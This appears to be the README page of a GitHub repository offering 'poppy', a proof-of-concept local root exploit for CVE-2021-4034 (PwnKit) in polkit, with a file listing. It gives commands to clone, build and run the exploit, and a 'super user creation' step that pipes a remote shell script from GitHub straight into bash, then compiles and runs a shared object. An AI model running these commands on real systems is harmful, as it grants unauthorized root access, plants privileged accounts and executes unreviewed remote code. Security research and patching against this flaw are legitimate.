poppy : CVE-2021-4034

CVE-2021-4034 PoC , polkit < 0.131

Usage

Tested on Arch Linux (Manjaro & Axyl OS)

git clone https://github.com/tahaafarooq/poppy
make
./poppy

Super user creation exploit

bash -c "$(curl -fsSL https://raw.githubusercontent.com/tahaafarooq/poppy/main/suuser.sh)"

gcc -shared su.c -o suuser -Wl,-e,entry -fPIC
./suuser

For more information about this vulnerability refer to the writeup https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt

Name		Name	Last commit message	Last commit date
Latest commit History 7 Commits
Makefile		Makefile
README.md		README.md
poppy		poppy
poppy.c		poppy.c
su-o.c		su-o.c
su.c		su.c
suuser		suuser
suuser.sh		suuser.sh